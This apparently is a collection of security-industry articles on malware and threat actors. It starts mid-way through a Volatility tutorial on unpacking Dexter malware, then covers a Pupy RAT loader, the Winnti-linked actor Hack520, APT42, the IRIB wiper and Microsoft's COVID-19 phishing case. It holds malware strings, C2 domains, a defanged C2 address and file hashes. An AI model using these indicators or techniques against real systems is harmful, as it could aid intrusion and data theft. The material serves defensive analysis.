FvlLutksfHVJWIzigOJfTfFRxxUmwtdRKhmgjhdiXlSq
TZJ_QaVg_vGB
OWMu_wWH_EHz
SOU_GTUQ
PSOsqo_Jk
GetKeyboardState
USER32.dll
GetSystemWindowsDirectoryW
KERNEL32.dll
C:\Debugger.fgh
```
Nothing too interesting there. If we're going to understand how this malware parses memory dumps, we'll need to unpack it first. There's the manual option of finding OEP, dumping a sample with OllyDbg or LordPE, and fixing imports with ImpREC (or something similar), but I try to save that more time-consuming and technical approach for when it's really needed. In the case of Dexter, and a majority of malware these days, all you need to do is run it and let it unpack itself. Being lazy never felt so good!
After copying the malware to a VM, it was executed and resulted in the creation of two new Internet Explorer processes. The code has to persist on the system in some way, so if the process (`dexter.exe`) doesn't stay running itself, you can bet it dissolves (i.e. injects) into another process. A reasonable first guess of the targets would be the two new IE instances: pids 1480 and 820.
Now back in Volatility, working with the suspended VM's memory file, let's list processes just to orient ourselves with this new perspective:
```
$ ./vol.py pslist
Volatile Systems Volatility Framework 2.3_alpha
Offset(V) Name PID PPID Thds Hnds Start
---------- ---------------- ------ ------ ------ -------- --------------------
0x81bcc830 System 4 0 59 190
0x81b27020 smss.exe 380 4 3 21 2012-12-03 05:35:49
0x81a39660 csrss.exe 604 380 11 407 2012-12-03 05:35:51
0x818fbd78 winlogon.exe 640 380 18 506 2012-12-03 05:35:53
0x818e62a0 services.exe 684 640 15 287 2012-12-03 05:35:53
0x81889150 lsass.exe 696 640 20 353 2012-12-03 05:35:53
0x81afd458 vmacthlp.exe 848 684 1 24 2012-12-03 05:35:54
<snip>
0x81783020 ProcessHacker.e 2532 424 3 79 2012-12-12 01:49:12
0x81b27558 IEXPLORE.EXE 1480 968 7 115 2012-12-12 01:49:21
0x81710da0 IEXPLORE.EXE 820 1480 2 30 2012-12-12 01:49:21
```
The next thing I did since code injection was suspected is run `malfind` on the two IE pids. It located two memory segments - one in each IE process, same base address in both (0x150000), same protection (PAGE_EXECUTE_READWRITE), and according to the hexdump there's an MZ header at the base of the region.
```
$ ./vol.py malfind -p 1480,820
Volatile Systems Volatility Framework 2.3_alpha
Process: IEXPLORE.EXE Pid: 1480 Address: 0x150000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 11, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x00150000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
0x00150010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0x00150020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x00150030 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 ................
Process: IEXPLORE.EXE Pid: 820 Address: 0x150000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: CommitCharge: 11, MemCommit: 1, PrivateMemory: 1, Protection: 6
0x00150000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 MZ..............
0x00150010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0x00150020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x00150030 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 ................
```
Now that we've quite effortlessly identified where the unpacked code is hiding, let's dump it out of memory. We'll use the `dlldump` plugin for this. Although the PE at 0x15000 isn't necessarily a DLL, the `dlldump` plugin allows the extracting/rebuilding of any PE in process memory if you supply the `--base address` (which we know).
```
$ mkdir dexter
$ ./vol.py dlldump -p 1480,820 --base=0x150000 -D dexter/
Volatile Systems Volatility Framework 2.3_alpha
Process(V) Name Module Base Name Result
---------- ------------- ----------- ------- ------
0x81b27558 IEXPLORE.EXE 0x000150000 UNKNOWN OK:
module.1480.1b27558.150000.dll
0x81710da0 IEXPLORE.EXE 0x000150000 UNKNOWN OK:
module.820.1710da0.150000.dll
```
For a quick understanding of how effective this approach can be in unpacking malware, take a look at the strings now:
```
$ strings -a dexter/module.1480.1b27558.150000.dll
!This program cannot be run in DOS mode.
.text
.data
.rsrc
wuauclt.exe
alg.exe
spoolsv.exe
lsass.exe
winlogon.exe
csrss.exe
smss.exe
System
explorer.exe
iexplore.exe
svchost.exe
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
SeDebugPrivilege
NTDLL.DLL
NtQueryInformationProcess
/portal1/gateway.php
11e2540739d7fbea1ab8f9aa7a107648.com
7186343a80c6fa32811804d23765cda4.com
e7dce8e4671f8f03a040d08bb08ec07a.com
e7bc2d0fceee1bdfd691a80c783173b4.com
815ad1c058df1b7ba9c0998e2aa8a7b4.com
67b3dba8bc6778101892eb77249db32e.com
fabcaa97871555b68aa095335975e613.com
Windows 7
Windows Server R2
Windows Server 2008
Windows Vista
Windows Server 2003 R2
Windows Home Server
Windows Server 2003
Windows XP Professional x64
Windows XP
Windows 2000
32 Bit
64 Bit
http://%s%s
Content-Type:application/x-www-form-urlencoded
POST
Mozilla/4.0(compatible; MSIE 7.0b; Windows NT 6.0)
LowRiskFileTypes
Software\Microsoft\Windows\CurrentVersion\Policies\Associations
rpcrt4.dll
gdi32.dll
wininet.dll
urlmon.dll
shell32.dll
advapi32.dll
user32.dll
IsWow64Process
WindowsResilienceServiceMutex
Software\Resilience Software
Software\Microsoft\Windows\CurrentVersion\Run
.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
UpdateMutex:
response=
page=
&ump=
&opt=
&unm=
&cnm=
&view=
&spec=
&query=
&val=
&var=
DetectShutdownClass
download-update-checkin:
scanin:
uninstall
```
The strings output shows a list of process names, which makes sense - the Seculert Blog mentioned that it enumerates processes. You also see it references `SeDebugPrivilege`, likely for the ability to call `OpenProcess` and read/write the memory of other processes. The `ABCDEF[...]` is a base64 alphabet, so you can expect it to encode some or all of the data it POSTs to `gateway.php` on one of the randomly named .com domains. It would create the `WindowsResilienceServiceMutex` and make a run key in the `Software\Resilience Software` registry key.
To solve our real question - how does this malware parse memory dumps - we need to open the unpacked file in IDA. Its import table is already fixed up, so aside from switching the `ImageBase` value in the PE header so RVAs are interpreted correctly by IDA, we're done unpacking before we even really started. A quick look through the unpacked file's IAT shows it calls `ReadProcessMemory`, and cross-referencing that leads to one function, shown below:
What you see here is the "memory dump parsing" function. It iterates once for each active process on the system, calling `OpenProcess()` to obtain a handle, then using `VirtualQueryEx()` to determine which memory ranges are accessible to the process, and reading them into a local buffer with `ReadProcessMemory()`. The data is then passed off to two scanning sub-functions which do the real work of deciding which data to steal from the buffer.
In summary, though I'm slightly disappointed that the memory dump parsing function is just a `ReadProcessMemory()` loop, at least I didn't waste much time getting there. Unpacking the malware by leveraging Volatility was as easy as 1-2-3. |
# Pupy RAT Hiding Under WerFault’s Cover
By Saikumaravel
January 4, 2023
We at K7 Labs recently identified an interesting technique used by threat actors to execute a Remote Admin Tool. We all know that WerFault.exe is used for the Windows Error Reporting. This blog describes how threat actors use the legitimate WerFault.exe to execute Pupy RAT on the victims’ machine.
## Analysis of Binary
### Stage 1 – WerFault Execution
Recently we came across an ISO image, `recent inventory & our specialties.iso`, from a Twitter feed. The ISO contains four files: a legitimate WerFault.exe, a malicious DLL named faultrep.dll, a shortcut file named `recent inventory & our specialties.lnk`, and an XLS file named `File.xls`. The shortcut file has the same name as the ISO image. When the victim opens that shortcut file, it uses scriptrunner.exe LOLBin via cmd to execute WerFault.exe from the ISO.
### Stage 2 – Pupy RAT Loader
Originally, Faultrep.dll is the name of the DLL used by WerFault.exe, which is present in the default Windows folder. When WerFault.exe starts executing, it uses DLL Side-Loading technique to load the Faultrep.dll from the ISO, and it has a dummy export function WerpInitiateCrashReporting similar to the original DLL. This malicious Faultrep.dll is compiled in C. The DLL has a custom API resolving function with two arguments, DLL hash and Function hash.
We noticed that this loader uses the same API resolving function as Guloader. The DLLs resolved were kernel32 and advapi32. After resolving the APIs, it starts to serve its purpose. Using the resolved function CreateThread, it creates two threads. The first thread opens a lure Excel sheet named `file.xls` from the ISO.
While manually resolving the function, we found that one of the functions it resolved was SystemFunction032 from the advapi32.dll. This function is undocumented in MSDN, and on further searching, we found the documentation on WineAPI. With that documentation, we understood that the function is used for RC4 encryption and accepts two arguments: key and data. On further analysis, we found the RC4 decryption function which contains the data and hard-coded string as key. The data is pointed to the address of the overlay. So we dumped the encrypted overlay data and using the key we further decrypted it. After decrypting the data, we confirmed that the data is a PE file with the magic bytes.
We dumped the decrypted output data to a PE file. It was compiled with C & Python and found that it is a Pupy RAT. This RAT is loaded into the memory and executed while WerFault.exe was executing in the front.
### Stage 3 – Pupy RAT
Pupy RAT is an open-source cross-platform Remote Admin Tool available on GitHub. According to the sources, since 2013 it has possibly been used by APT33 and APT35 from Iran for cyber espionage operations like the one that was discovered in 2020 and targeted a major European energy organization. It was executed from memory and based on the analysis of ReflectiveLoader function, is capable of executing any PE file in-memory, remotely. It tries to make a C2 connection in the background when the victim believes WerFault is running. Since the C2 was down at the time of analysis, the RAT was unable to establish a connection for carrying out any further malicious activity. With the XLS sheet in Chinese, we believe that the victim is from China.
## IoCs
| Filename | Hash | K7 Detection Name |
|-------------------------------------------|-----------------------------------------|--------------------|
| Stage 1 – WerFault Execution | D069812AA63B631897498621DE353519 | Trojan (0059ce2b1) |
| recent inventory & our specialties.iso | 42A5798608F196CE7376CE196F4452FE | Trojan (0059ce2b1) |
| Stage 2 – Pupy RAT loader | F365A8BDFD9B39C4F8B9D99613818207 | Trojan (0001140e1) |
| Stage 3 – Pupy RAT Decrypted PupyRAT | C2 hxxp[://103[.79[.76[.40/ | |
We at K7 Labs provide detection against the latest threats and also for this newer variant of Loader. Users are advised to use a reliable security product such as “K7 Total Security” and keep it up-to-date to safeguard their devices. |
# Examining a Possible Member of the Winnti Group
In one of our previous blog entries, we covered how the threat actor known as Winnti was using GitHub to spread malware – a development that shows how the group is starting to evolve and use new attack methods beyond their previous tactics involving targeted attacks against gaming, pharmaceutical, and telecommunications companies. Through this entry, in which we take a closer look at an individual who we believe might be connected to the Winnti group, we hope to give both ordinary users and organizations better insights into some of the tools – notably the server infrastructures – these kinds of threat actors use, as well as the scale in which they operate.
## Searching Domain Registrations for Clues
Threat actors typically register and use several domains in order to discretely lead their malware to their Command and Control (C&C) servers. Registering a domain name always requires some form of identifying information: a physical or mailing address, an email address, and a phone number. Of these, a valid email address holds the greatest importance because it is where the registrar sends the confirmation of a domain purchase to the new owner in addition to the information needed to control the domain.
Most fraudsters create one-time email addresses or use stolen email addresses, both of which are easy to create or obtain. However, over time, it becomes tedious for fraudsters to constantly change information when registering new domains. This is the point where they are likely to make mistakes and start reusing e-mail addresses.
A careful analysis of the domain registrations from this threat actor between 2014 and 2015 allowed us to identify one profile used to register several domains that were used as C&C servers for a particular malware family employed by the Winnti group. In particular, we managed to gather details on an individual using the handle Hack520, who we believe is connected to Winnti.
## Who is the Winnti group?
The group behind the Winnti malware (which we will call the Winnti group for brevity) sprung up as a band of traditional cyber crooks, comprising black hats whose technical skills were employed to perpetrate financial fraud. Based on the use of domain names they registered, the group started out in the business of fake/rogue anti-virus products in 2007. In 2009, the Winnti group shifted to targeting gaming companies in South Korea using a self-named data- and file-stealing malware.
The group, which was primarily motivated by profit, is noted for utilizing self-developed technically-proficient tools for their attacks. They once attacked a game server to illicitly farm in-game currency (“gaming gold”, which also has real-world value) and stole source codes of online game projects. The group also engaged in the theft of digital certificates which they then used to sign their malware to make them stealthier. The Winnti group diversified its targets to include enterprises such as those in pharmaceutics and telecommunications. The group has since earned infamy for being involved in malicious activities associated with targeted attacks, such as deploying spear-phishing campaigns and building a backdoor.
During the course of researching the Winnti group, we came across previously unreported malware samples that we attributed to the group based on the malware arsenal and the use of registered domains as attack infrastructure. These samples led us to the discovery of additional C&C servers that provided us with more information than we initially expected.
## A closer look at Hack520
Our initial investigation on the domains registered by Hack520 revealed that similar domains were registered by another profile.
- hack520.co.kr
- shaiya.kr
- zhu.kr
- shenqi.kr
- zhuxian.kr
Several of these domains are linked to variants of malware that were used by the Winnti threat actor. Surprisingly enough, it does not take very long to get some information about Hack520: someone with this handle runs a blog and a Twitter account (with a handle close to Hack520) that is also directly linked to the blog.
One interesting detail about Hack520 is his apparent love for pigs, as seen in his use of the word in his email addresses. He also mentions his occupation as a “pig farmer” in online message boards. In addition, Hack520’s tweets always show photos of the same animal, which is likely his pet pig.
The Twitter handle used by Hack520 indicates also an “est” portion. This “est” reference could refer to a hacking group with its own message board on which Hack520 also posts regularly.
In one particular forum post, Hack520 mentions that he was previously jailed for a period of 10 months in a blog post dated May 31, 2009.
A rough translation of this message is as follows:
“Fxxk, when I am released, the server is offline, I can’t find the machine, the domain is expired, it is so bad. I wasted 10 months, I have failed and lost my money.”
Hack520 seems to be very interested in hosting services and his profile fits that of a system administrator profile with some programming and hacking skills.
After further research, we were able to link Hack520 to different network administration activities, notably with a Virtual Private Server (VPS) hosting service. The way Hack520 signs his messages in one hacker forum provides a clue pointing to this connection. While one of his signatures uses his own blog domain, there is also a second signature which uses 93.gd, a domain that was found to have been actively selling VPS services in the past. The email address [email protected] is linked to IP addresses owned by a certain user with the nickname “PIG GOD”—another reference to Hack520’s passion for pigs.
Among the IP addresses owned by Hack520 is a whole/22 IP Range which we dubbed as the “PIG RANGE”. The IP range for “PIG GOD” is 43.255.188.0/22, which appears to be hosted in Hong Kong as seen in the information we found:
```
inetnum: 43.255.188.0 - 43.255.191.255
netname: PIG-HK
description: PIG GOD
country: HK
admin-c: PG406-AP
tech-c: PG406-AP
person: pig god
country: HK
phone: +852-39437000
e-mail: [email protected]
nic-hdl: PG406-AP
mnt-by: MAINT-RAIBOW-HK
changed: [email protected] 20160917
source: APNIC
```
The domain 66.to leads to another website that shows Hack520’s pet pig. It also reveals direct links to secure.66.to and zhu.vn, both of which also belong to Hack520 and contain his personal blog.
We were able to find additional links between Hack520’s “Pig network” and the Winnti group’s activities. This includes hosting C&C domains that were used by Winnti such as mtrue.com, shenqi.kr, and zhu.kr. We also found a live service selling VPS hosting at secure.66.to. The hosting services offered at secure.66.to are in fact hosting services rented to other companies worldwide. The contents found in secure.66.to often lead to zhu.vn, which is Hack520’s domain for hosting his own private blog.
We found roughly 500 domain names that lead or have led to the “Pig network” between 2015 to March 2017. Most of these domains seem to have contained illegitimate content like pornography and online gambling. We highly suspect the “Pig network” to have also been used as a bulletproof hosting service for cybercriminals who are unrelated to the Winnti group. From what we’ve seen in Hack520’s blog, as well as the infrastructure deployed around it, it is quite safe to say that Hack520 is involved in aspects of the VPS service activity provided to groups like Winnti and other cybercriminals or threat actors.
## What we’ve learned
Threat actors like the Winnti group rarely ever stay static in terms of both tools and tactics. As we’ve already previously discussed in our 2017 predictions, these groups will constantly evolve and employ unique and advanced attack techniques. In addition, individuals like Hack520 prove that these threat actors are composed of varied individuals who have their own set of expertise. All of these things point to threat actors and groups like Winnti will continue to try different methods of attack.
Threat actors are always looking to expand the strategies they use, thus security practices and solutions that work for less organized cybercriminals might not work for determined groups who are willing to spend time, resources, and manpower to accomplish their goals. As such, there is a need for everyone to be proactive when it comes to security, especially for organizations who are frequently the victims of targeted attacks. By creating awareness and using the right solutions, both individuals and organizations can take the steps needed to defend against the malicious tactics used by threat actors like the Winnti group. |
# Cobalt Strike Joins Core Impact at HelpSystems, LLC
**Raphael Mudge**
March 4, 2020
I founded Strategic Cyber LLC in 2012 to advocate a vision of threat-representative security testing. Over time, Cobalt Strike became the de facto commercial standard for red team operations and adversary simulations. I’ve long asked myself, how do I stay a good partner to my customers as their numbers grow and this field evolves?
Today is a big step forward as Minnesota-based HelpSystems, LLC has acquired Strategic Cyber. I have joined HelpSystems as a Technical Director for Cybersecurity. I will lead the team that continues the R&D-driven releases of the Cobalt Strike product. The Cobalt Strike product and business operations of Strategic Cyber will benefit from the experience and resources at HelpSystems.
HelpSystems is a good fit for Strategic Cyber and its customers. The company was founded in 1982 and is a cybersecurity company and the largest independent vendor in the IBM i space. Their portfolio includes antivirus, identity and access management, secure file transfer, intrusion detection, and security services for IBM i, Linux, and other platforms. HelpSystems became successful through good products, partnership with their customers, and taking care of their team.
HelpSystems is the parent company of Core Security, the creators of the Core Impact penetration testing tool. Core Impact came to market in 2003, a time when exploits were published by anonymous authors and the use of these exploits had safety and reliability implications. Core Impact became the trusted product to automate penetration tests, exploit the latest vulnerabilities, and pivot to new targets.
Cobalt Strike’s story is similar. Cobalt Strike came to market in 2012, a time when security meant prevention of breaches with less thought on post-breach containment, detection, and response. Cobalt Strike explored the post-breach offense problems of team collaboration, flexible communications, and novel capability to demonstrate risks. When security teams needed to emulate real-world attack scenarios to improve security operations and exercise processes, Cobalt Strike became the natural choice.
I’m excited to explore the synergy between Cobalt Strike and Core Impact. Our work is to share knowledge, offer real insight into risk, and drive objective and meaningful security advances. As this field evolves, we will evolve with it. |
# APT42: Crooked Charms, Cons, and Compromises
Today, Mandiant is releasing a comprehensive report detailing APT42, an Iranian state-sponsored cyber espionage group tasked with conducting information collection and surveillance operations against individuals and organizations of strategic interest to the Iranian government. We estimate with moderate confidence that APT42 operates on behalf of the Islamic Revolutionary Guard Corps (IRGC)’s Intelligence Organization (IRGC-IO) based on targeting patterns that align with the organization’s operational mandates and priorities.
The full published report covers APT42’s recent and historical activity dating back to at least 2015, the group’s tactics, techniques, and procedures, targeting patterns, and elucidates historical connections to APT35. APT42 partially coincides with public reporting on TA453 (Proofpoint), Yellow Garuda (PwC), ITG18 (IBM X-Force), Phosphorus (Microsoft), and Charming Kitten (ClearSky and CERTFA).
## APT42 Operations
APT42 uses highly targeted spear-phishing and social engineering techniques designed to build trust and rapport with their victims in order to access their personal or corporate email accounts or to install Android malware on their mobile devices. In addition, APT42 infrequently uses Windows malware to complement their credential harvesting and surveillance efforts.
APT42 operations broadly fall into three categories:
1. **Credential harvesting**: APT42 frequently targets corporate and personal email accounts through highly targeted spear-phishing campaigns with enhanced emphasis on building trust and rapport with the target before attempting to steal their credentials. Mandiant also has indications that the group leverages credential harvesting to collect Multi-Factor Authentication (MFA) codes to bypass authentication methods and has used compromised credentials to pursue access to the networks, devices, and accounts of employers, colleagues, and relatives of the initial victim.
2. **Surveillance operations**: As of at least late 2015, a subset of APT42’s infrastructure served as command-and-control (C2) servers for Android mobile malware designed to track locations, monitor communications, and generally surveil the activities of individuals of interest to the Iranian government, including activists and dissidents inside Iran.
3. **Malware deployment**: While APT42 primarily prefers credential harvesting over activity on disk, several custom backdoors and lightweight tools complement its arsenal. The group likely incorporates these tools into their operations when the objectives extend beyond credential harvesting.
Mandiant has observed over 30 confirmed targeted APT42 operations spanning these categories since early 2015. The total number of APT42 intrusion operations is almost certainly much higher based on the group’s high operational tempo, visibility gaps caused in part by the group’s targeting of personal email accounts and domestically focused efforts, and extensive open-source industry reporting on threat clusters likely associated with APT42.
## APT42 Targeting Patterns
The targeting patterns for APT42 operations are similar to other Iranian cyber espionage actors, with a large segment of its activity focused on the Middle East region. However, unlike other suspected IRGC-affiliated cyber espionage groups that have focused on targeting the defense industrial base or conducting large-scale collection of personally identifiable information (PII), APT42 primarily targets organizations and individuals deemed opponents or enemies of the regime, specifically gaining access to their personal accounts and mobile devices. The group has consistently targeted Western think tanks, researchers, journalists, current Western government officials, former Iranian government officials, and the Iranian diaspora abroad.
Some APT42 activity indicates the group alters its operational focus as Iran’s priorities evolve, to include targeted operations against the pharmaceutical sector at the onset of the COVID-19 pandemic in March 2020 and pursuing domestic and foreign-based opposition groups prior to an Iranian presidential election. This indicates that APT42 is trusted by the Iranian government to quickly react to geopolitical changes by adjusting their flexible operations to targets of operational interest to Tehran.
## Potential Ties Between APT42 and Ransomware Activity
Mandiant further highlights open-source reporting from Microsoft claiming a connection between intrusion activity clusters that generally align with APT42 and UNC2448, an Iran-nexus threat actor known for widespread scanning for various vulnerabilities, the use of the Fast Reverse Proxy tool, and reported ransomware activity using BitLocker. Notably, Mandiant has not observed technical overlaps between APT42 and UNC2448.
In November 2021, Microsoft reported that “Phosphorus” had targeted Fortinet FortiOS SSL VPN and unpatched on-premises Exchange servers globally with the intent of deploying ransomware such as BitLocker on vulnerable networks, aligning with activity we track as UNC2448. Previous reporting on Phosphorus generally aligned with APT42’s credential harvesting and spear-phishing operations.
While Mandiant has not observed technical overlaps between APT42 and UNC2448, the latter may also have ties to the IRGC-IO. We assess with moderate confidence that UNC2448 and the Revengers Telegram persona are operated by at least two Iranian front companies, Najee Technology and Afkar System, based on open-source information and operational security lapses by the threat actors. Public leaking campaigns from the Lab Dookhtegan Telegram account further allege these companies are responsible for threat activity aligned with UNC2448 and operate on behalf of the IRGC-IO.
Mandiant identified links between UNC2448, the Revengers persona, an individual named Ahmad Khatibi, and a likely Iranian front company named Afkar System. The Revengers persona had offered data and access to primarily Israeli companies for sale on its Telegram channel between February and September 2021. Additionally, infrastructure overlaps likely caused by human error indicate that UNC2448 has connections to a second front company, Najee Technology. Public posts by the Lab Dookhtegan Telegram channel in July 2022 claim Afkar System and Najee Technology are front companies conducting cyber operations on behalf of the IRGC’s Intelligence Organization.
## Looking Ahead
APT42 activity poses a threat to foreign policy officials, commentators, and journalists, particularly those in the United States, the United Kingdom, and Israel, working on Iran-related projects. Additionally, the group’s surveillance activity highlights the real-world risk to individual targets of APT42 operations, which include Iranian dual-nationals, former government officials, and dissidents both inside Iran and those who previously left the country, often out of fear for their personal safety.
We do not anticipate significant changes to APT42’s operational tactics and mandate given the long history of activity and imperviousness to infrastructure take downs and a media spotlight on operational security failures. Nevertheless, the group has displayed its ability to rapidly alter its operational focus as Iran’s priorities change over time with evolving domestic and geopolitical conditions. We assess with high confidence that APT42 will continue to perform cyber espionage and surveillance operations aligned with evolving Iranian operational intelligence collection requirements. |
# Iranian State Broadcaster IRIB Hit by Destructive Wiper Malware
An investigation into the cyberattack targeting Iranian national media corporation, Islamic Republic of Iran Broadcasting (IRIB), in late January 2022 revealed the deployment of a wiper malware and other custom implants, as the country's national infrastructure continues to face a wave of attacks aimed at inflicting serious damage.
"This indicates that the attackers' aim was also to disrupt the state's broadcasting networks, with the damage to the TV and radio networks possibly more serious than officially reported," Tel Aviv-based cybersecurity firm Check Point said in a report published last week.
The 10-second attack, which took place on January 27, involved the breach of state broadcaster IRIB to air pictures of Mujahedin-e-Khalq Organization (MKO) leaders Maryam and Massoud Rajavi alongside a call for the assassination of the Supreme Leader Ayatollah Ali Khamenei.
"This is an extremely complex attack and only the owners of this technology could exploit and damage the backdoors and features that are installed on the systems," Deputy IRIB chief Ali Dadi was quoted as saying to state TV channel IRINN.
Also deployed during the course of the hack were custom-made malware capable of taking screenshots of the victims' screens as well as backdoors, batch scripts, and configuration files used to install and configure the malicious executables. Check Point said it didn't have enough evidence to make a formal attribution to a specific threat actor, and it's currently not known how the attackers gained initial access to the targeted networks.
Artifacts uncovered so far include files responsible for:
- Establishing backdoors and their persistence
- Launching the "malicious" video and audio files
- Installing the wiper malware in an attempt to disrupt operations in the hacked networks.
Behind the scenes, the attack involved interrupting the video stream using a batch script to delete the executable associated with TFI Arista Playout Server, a broadcasting software used by IRIB, and play the video file ("TSE_90E11.mp4") in a loop.
The intrusion also paved the way for the installation of a wiper whose main purpose is to corrupt the files stored in the computer, not to mention erase the master boot record (MBR), clear Windows Event Logs, delete backups, kill processes, and change users' passwords. Furthermore, the threat actor leveraged four backdoors in the attack: WinScreeny, HttpCallbackService, HttpService, and ServerLaunch, a dropper launched with HttpService. Taken together, the different pieces of malware enabled the adversary to capture screenshots, receive commands from a remote server, and carry out other malicious activities.
"On one hand, the attackers managed to pull off a complicated operation to bypass security systems and network segmentation, penetrate the broadcaster's networks, produce and run the malicious tools that heavily rely on internal knowledge of the broadcasting software used by victims, all while staying under the radar during the reconnaissance and initial intrusion stages," the researchers said.
"On the other hand, the attackers' tools are of relatively low quality and sophistication, and are launched by clumsy and sometimes buggy 3-line batch scripts. This might support the theory that the attackers might have had help from inside the IRIB, or indicate a yet unknown collaboration between different groups with different skills." |
# Microsoft Takes Legal Action Against COVID-19-Related Cybercrime
Today, the U.S. District Court for the Eastern District of Virginia unsealed documents detailing Microsoft’s work to disrupt cybercriminals that were taking advantage of the COVID-19 pandemic in an attempt to defraud customers in 62 countries around the world. Our civil case has resulted in a court order allowing Microsoft to seize control of key domains in the criminals’ infrastructure so that it can no longer be used to execute cyberattacks.
Microsoft’s Digital Crimes Unit (DCU) first observed these criminals in December 2019, when they deployed a sophisticated, new phishing scheme designed to compromise Microsoft customer accounts. The criminals attempted to gain access to customer email, contact lists, sensitive documents, and other valuable information. Based on patterns discovered at that time, Microsoft utilized technical means to block the criminals’ activity and disable the malicious application used in the attack. Recently, Microsoft observed renewed attempts by the same criminals, this time using COVID-19-related lures in the phishing emails to target victims.
This malicious activity is yet another form of business email compromise (BEC) attack, which has increased in complexity, sophistication, and frequency in recent years. According to the FBI’s 2019 Internet Crime Report, the most costly complaints received by their Internet Crime Complaint Center (IC3) involved BEC crimes, with losses of over $1.7 billion, representing nearly half of all financial losses due to cybercrime. While most of the public’s attention in recent years has justifiably focused on the malign acts of nation-state actors, the increasing economic harm caused by cybercriminals must also be considered and confronted by the public and private sectors. For our part, Microsoft and our Digital Crimes Unit will continue to investigate and disrupt cybercriminals and will seek to work with law enforcement agencies around the world, whenever possible, to stop these crimes.
These cybercriminals designed the phishing emails to look like they originated from an employer or other trusted source and frequently targeted business leaders across a variety of industries, attempting to compromise accounts, steal information, and redirect wire transfers. When the group first began carrying out this scheme, the phishing emails contained deceptive messages associated with generic business activities. For example, the malicious link in the email was titled with business terms such as “Q4 Report – Dec19.”
With these recent efforts, however, the phishing emails instead contained messages regarding COVID-19 as a means to exploit pandemic-related financial concerns and induce targeted victims to click on malicious links. For example, using terms such as “COVID-19 Bonus.”
Once victims clicked on the deceptive links, they were ultimately prompted to grant access permissions to a malicious web application (web app). Web apps are familiar-looking as they are widely used in organizations to drive productivity, create efficiencies, and increase security in a distributed network. Unknown to the victim, these malicious web apps were controlled by the criminals, who, with fraudulently obtained permission, could access the victim’s Microsoft Office 365 account. This scheme enabled unauthorized access without explicitly requiring the victims to directly give up their login credentials at a fake website or similar interface, as they would in a more traditional phishing campaign.
After clicking through the consent prompt for the malicious web app, the victim unwittingly granted criminals permission to access and control the victims’ Office 365 account contents, including email, contacts, notes, and material stored in the victims’ OneDrive for Business cloud storage space and corporate SharePoint document management and storage system.
Microsoft takes many measures to monitor and block malicious web apps based on telemetry indicating atypical behavior and has continued to enhance our protections based on this activity. In cases where criminals suddenly and massively scale their activity and move quickly to adapt their techniques to evade Microsoft’s built-in defensive mechanisms, additional measures such as the legal action filed in this case are necessary. This unique civil case against COVID-19-themed BEC attacks has allowed us to proactively disable key domains that are part of the criminals’ malicious infrastructure, which is a critical step in protecting our customers.
As we’ve observed, cybercriminals have been adapting their lures to take advantage of current events, using COVID-19-related themes to deceive victims. While the lures may have changed, the underlying threats remain, evolve, and grow, and it’s more important than ever to remain vigilant against cyberattacks.
To further protect yourself against phishing campaigns, including BEC, we recommend, first, that you enable two-factor authentication on all business and personal email accounts. Second, learn how to spot phishing schemes and protect yourself from them. Third, use SmartScreen and consider blocking email auto-forwarding to make it harder for cybercriminals to steal your information. Businesses can learn how to recognize and remediate these types of attacks and also take these steps to increase the security of their organizations.
**Tags:** business, COVID-19, cyberattacks, cybercrime, Digital Crimes Unit, Office 365, phishing |
# 2019 Cyber Threatscape Report
## Executive Summary
In the face of growing cybercrime, there are few deterrents more effective than hitting attackers where it hurts most—in their own wallets. The more organizations invest in securing their networks and training their staff on how to safely navigate the digital workplace, the harder and more expensive it becomes for threat actors to disrupt or breach networks.
But reducing any return on cybercriminals’ own investments or cutting into their profits is only effective if they maintain the status quo—and many do not. Far from being overwhelmed by hardening environments, threat actors are proving their confidence as chameleons. As threat actors face effective defenses to tried and tested attack vectors, they adapt and switch to try out new tactics, techniques, and procedures (TTPs). This adaptation is proving successful. In particular, we are seeing the emergence of new cybercrime operating models among high-profile threat groups. Relationships are forming among “secure syndicates” that closely collaborate and use the same tools—suggesting a major change in how threat actors work together in the underground economy, which will make attribution even more difficult.
The Accenture Security iDefense Threat Intelligence Services team has observed a distinct and dangerous shift in threat actor TTPs during the past 12 months. Threat actors are pivoting their operations strategically, operationally, and tactically—and in doing so they are testing the resilience of organizations who are doing their best to keep up.
From a strategic perspective, Accenture iDefense has observed global disinformation continues to battle for “hearts and minds” with threat actors becoming more skilled at exploiting legitimate tools. While disinformation campaigns to influence domestic or foreign political sentiment and sway national elections are likely to continue, the wider potential impact of disinformation on global financial markets is a concern. The financial services industry—and, more specifically, high-frequency trading algorithms, which rely upon fast, text-driven sources of information—are likely to be targeted by large-scale disinformation efforts in the future.
In January 2019, a firm was targeted by an elaborate hoax involving a spoofed letter purporting to be written by the fund group’s chief executive officer. The letter claimed the firm was divesting in coal companies in its actively-managed funds and changing voting patterns to take a stronger stance on climate change. The adversaries also created a website that looked like the large investment management corporation’s genuine webpage. Several thousand people received the fake letter and large news outlets initially picked up the letter as a legitimate communication. It was eventually revealed that the letter and website were the work of an activist seeking to raise awareness for social issues, such as the environment. The incident emphasized the low barrier to entry for an effective disinformation campaign. These incidents remain dangerous indicators for the future of cyberthreats to financial institutions and financial market infrastructures.
A well-orchestrated disinformation campaign may have serious consequences on brand reputation, specific markets, and even market stability. The tools required to implement a successful campaign are well within the capability for ideologically, financially, and politically motivated threat adversaries already targeting the financial sector.
